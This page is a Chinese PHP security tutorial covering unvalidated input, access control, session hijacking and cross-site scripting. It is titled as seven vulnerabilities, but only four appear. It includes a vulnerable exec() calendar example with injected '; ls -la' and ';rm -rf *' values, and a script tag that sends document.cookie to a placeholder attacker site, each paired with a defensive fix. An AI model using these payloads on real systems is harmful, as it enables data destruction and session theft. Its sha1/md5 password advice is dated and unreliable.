程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> PHP綜合 >> PHP最主要的7個安全漏洞

PHP最主要的7個安全漏洞

編輯:PHP綜合

對於快速發展的動態網頁而言,PHP是一種了不起的語言。PHP也具有對初級程序員友好的特點,比如PHP就不需要動態聲明。然而,這些特征可能導致一個程序員無意地讓安全漏洞潛入到web應用程序中。在PHP應用中,流行的安全郵件列表就出現大量被證實的漏洞,但是一旦你明白PHP應用程序中常見的幾種漏洞的基本類型,那你將發現它和其他語言是同樣安全的。

在這篇文章中,我將詳細地介紹會導致安全漏洞的幾種常用見的PHP程序缺陷。通過向你們展示什麼是不能做的,並且如何利用每個特定的缺陷,我希望你們不僅僅能明白怎樣避免這些特定的缺陷,而且為什麼這些錯誤能導致安全漏洞。

明白每個可能出現的缺陷,將幫助你們避免在PHP應用程序中產生同樣的錯誤。

安全是一個過程,不是一個產品在應用程序開發過程中采用對安全有益的方法可以讓你生成更緊密,更健壯的代碼。

未校驗輸入缺陷

如果不是最常見的PHP安全漏洞,也是其中之一的,就是未校驗輸入錯誤。提供數據的用戶是根本不能信任的。你應該假定你的web應用程序的用戶個個都是心懷叵測的,因為他們中的一些就是那樣的。未校驗或不正確驗證輸入是被一些漏洞所利用的根源,我們將在本文後面進行討論。

例如,你可能寫一個允許用戶查看日歷的如下代碼,通過調用UNIXcal命令來顯示指定月份。

$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

此代碼具有一個安全漏洞縫隙,因為沒有以任何的方式來驗證$_GET[month]$_GET[year]變量。只要那個特定的月份是在112之間,並且提供一個合適的四位數年份,那這個應用程序將完美運行。然而,惡意用戶可能追加“; ls - la”到年參數,從而看到您網站的HTML目錄列表。一個極端惡劣的用戶可能追加";rm -rf *"到年參數,且刪除整個網站!

糾正這種錯誤的合適的方法就是確保你從用戶接受的輸入是你期望得到的。不用為這種錯誤使用JavaScript驗證,創造他們自己形式Javascript或是禁用Javascript開發者是很容易處理如此的驗證方法的。為確保輸入月份和年份是數字,且只有數字,你需要添加PHP代碼,如下所示。

$month = $_GET['month'];
$year = $_GET['year'];

if (!preg_match("/^[0-9]{1,2}$/", $month)) dIE("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) dIE("Bad year, please re-enter.");

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

不用擔心用戶提供影響你應用程序的輸入或是運行輸入的服務器,你能安全地使用代碼。正則表達式是一個很棒的驗證輸入的工具。盡管難以掌握它,但在這種情況下是非常有用的。

你應該總是通過拒絕與你期望數據不相符合的數據,來驗證你的用戶提供的數據。永遠都不要使用在你知道期望數據是有害的情況下仍然接受此數據的方法,此方法是安全漏洞的共同來源。有時,惡意的用戶能避開此種方法,例如,用空字符來掩蓋壞輸入的方法。如此的輸入將通過檢查,但是它仍然具有壞的影響。

當你驗證任何輸入時,你應當盡可能的嚴格。如果有一些沒必要包含的字符,可能的話,你應該要麼去除那些無用的字符,要麼完全拒絕輸入。

訪問控制缺陷

另一個缺陷,不一定限於PHP應用程序,但仍然是重要的,是訪問控制的脆弱性類型。當你的應用程序的某些部分的應用是限定於某些用戶的時候,這種缺陷就出現了,如,一個允許更改配置設置或顯示敏感信息的管理頁面。

你應該檢查每個你的PHP應用程序頁面限制加載的用戶的訪問權利。如果你僅僅只檢查在索引頁面的用戶證書,那麼一個惡意的用戶能直接進入一個“更深層”網頁的鏈接,這將跳過證書檢查的過程。

如,如果你的網站有攻擊用戶的可預測IP或固定IP地址,則可以通過限制用戶訪問該用戶的基本IP地址和他們用戶的名字在你程序的安全層上是有利的。放置你的受限制的網頁在一個由apache.htAccess文件保護的獨立的目錄裡也是一個好的做法。

將配置文件放置在你web訪問目錄的外面。一個配置文件包含數據庫密碼和其他一些能被惡意用戶用來滲透或者破壞你站點的信息;從來不讓遠程用戶訪問這些文件。使用PHPinclude函數來包含這些來自不可web訪問的目錄的文件,萬一這個目錄曾因管理員誤操作而產生web訪問,這可能包括含有“否定一切”的an.htAccess文件。盡管分層安全是多余的,但是它是一件積極的事情。

對於我的PHP應用程序,我更喜歡基於一下樣本的目錄結構。所有的功能庫,類和配置文件存儲在includes目錄裡。這些include文件總是以a.PHP擴展名命名,因此即便是跳過所有你的保護,web服務器將解析PHP代碼,且不會將它顯示給用戶。www和管理目錄是唯一的目錄,它們的文件由一個URL直接被訪問,管理目錄由an.htAccess文件所保護,這個文件只允許知道用戶名和密碼的用戶進入,且這些密碼存儲在站點根目錄中的.htpasswd文件裡。

/home
 /httpd
   /www.example.com
     .htpasswd
     /includes
       cart.class.PHP
       config.PHP
     /logs
       Access_log
       error_log
     /www
       index.PHP
       /admin
         .htAccess
         index.PHP

你應該設置你的apache目錄索引到“index.PHP,並且在每個目錄中保持一個index.PHP文件。如果不能浏覽目錄,如一個圖片目錄或是相似的目錄,則設置apache目錄來重定向你的主頁。永遠都不要通過增加.bak或其他擴展到文件名復制一個PHP文件在你的公開的web目錄裡。根據你使用的web服務器(apache幸而似乎對此服務器有一定保障),此服務器不會解析文件中的PHP代碼,可能作為資源輸出給碰巧得到拷貝文件URL的用戶。如果那個文件包含密碼或是其他隱秘信息,此文件將是可讀的,如果碰巧給黑客發現,那此文件可能甚至不被Google索引。將文件重命名為a.bak.PHP的擴展比套接a.bak.PHP擴展要更安全,但是最好的解決方法是使用一個源代碼版本控制系統比如CVS。盡管CVS學起來很難,但是你花費的時間將在許多方面得到補償。該系統節省你項目中的每個文件的每個版本,當此後要改變導致的問題時,它能具有無法估量的價值。

會話ID保護

攔截會話IDPHP網站的一個問題。PHP會話跟蹤組建為每一個用戶會話使用唯一的ID,但是如果其他用戶知道了這個ID,此用戶能攔截這個ID的用戶會話並能看到秘密信息。攔截會話ID是完全不能被阻止的,你應該知道一些風險以便減輕他們。

例如,甚至在給用戶驗證和分配了一個會話ID後,當他或是她進行任何高度敏感行為時,如重設密碼哦,你都應該重新驗證該用戶。如,絕不允許一個會話驗證的用戶沒有進入舊的密碼就能進入一個新的密碼。你也應該避免呈現真正的秘密數據給只被會話ID驗證的用戶,如信用卡號。

應該使用session_regenerate_id函數為通過登陸創建新會話的用戶安排一個新的會話ID。一個攔截用戶將試圖用他之前的會話ID登陸,如果在登陸時設置你的ID,就會阻止此事情的發生。

如果你的站點正處理很重要的信息,如信用卡,必須一直使用一個SSL安全連接。由於不能發現會話ID且不容易攔截它,這將減少會話攔截的漏洞。如果你的網站運行在共享的Web服務器上,要知道,在同一服務器上的任何其他用戶都很容易地查看任何會話變量。通過在數據庫記錄中存儲所有的敏感數據來減輕這個漏洞,此數據庫記錄關鍵在於會話ID而不是作為會話變量。如果你必須在會話變量中存儲密碼(我再次強調,避免出現這種情況是最好的),不要在明文中存儲密碼;使用sha1() (PHP 4.3+) or md5()函數來存儲密碼的哈希值來代替。

if ($_SESSION['passWord'] == $userpass) {
 // do sensitive things here
}

以上代碼是不安全的,因為密碼存儲在會話變量的明文中。相反,更可能像這樣使用代碼:

if ($_SESSION['sha1passWord'] == sha1($userpass)) {
 // do sensitive things here
}

SHA-1算法並不是沒有缺陷,計算機能力的發展使得它有可能產生碰撞(同一SHA-1總數具有不同字符串)。然而此技術存儲密碼仍然大大優於在明文中存儲密碼。如果你必須使用MD5,因為這優於明文中存儲密碼,但是請記住,近來的發展已經使它在標准的PC硬件上可能不到一小時就產生MD5碰撞。理想情況下,應該使用一個函數來實現SHA-256,如此的函數在當前是與PHP相獨立的。

為了進一步了解哈希碰撞,在其他一些與安全相關的主題中,Bruce SchneIEr's Website是最好的資源。

跨站點腳本(XSS)缺陷

跨站點腳本或XSS缺陷是用戶驗證的子集,一個惡意的用戶在被呈現的且被其他用戶執行的數據裡嵌入腳本命令通常是JavaScript

例如,如果你的應用程序包含一個論壇,在此論壇裡,人們發出的消息能被其他用戶看到,惡意用戶可以嵌入一個<script>標簽,如下所示,這將刷新頁面到他們控制的站點,將你的cookie和會話信息作為GET變量傳到他們的網頁,然後就像什麼事都沒發生一樣刷新頁面。因此惡意用戶就能收集其他用戶的cookIE和會話信息,並且在你的站點使用會話攔截或其他攻擊得到的數據。

<script>
document.location =
   'http://www.badguys.com/CGI-bin/cookIE.PHP?' +
   document.cookIE;
</script>

  為了阻止這類攻擊的出現,你必須在網頁中小心地顯示用戶提交的字面內容。防范這最容易的方法就是只要避免組成Html語法的字符(特別是<>)到Html字符實體(&lt;&gt;),以便為了顯示將提交的數據作為明文看待。通過PHPHtmlspecialchars函數傳遞數據僅僅就像你正在輸出一樣。

如果你的應用程序要求你的用戶可以提交Html內容,並將它當成這樣,你反而會需要過濾出像<script>一樣可能具有潛在危險的標簽。當第一次提交內容時就過濾標簽是最好的,這將需要一點正則表達式的訣竅。

CGIsecurity.com上的The Cross Site Scripting FAQ提供更多這類缺陷的信息和北京並更詳細的描述。我強烈推薦閱讀和理解它。當編寫PHP應用程序時,是很難發現XSS缺陷的,且是比較容易發生的錯誤之一,這由發生在流行安全郵件列表上的大量XSS警告所體現。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved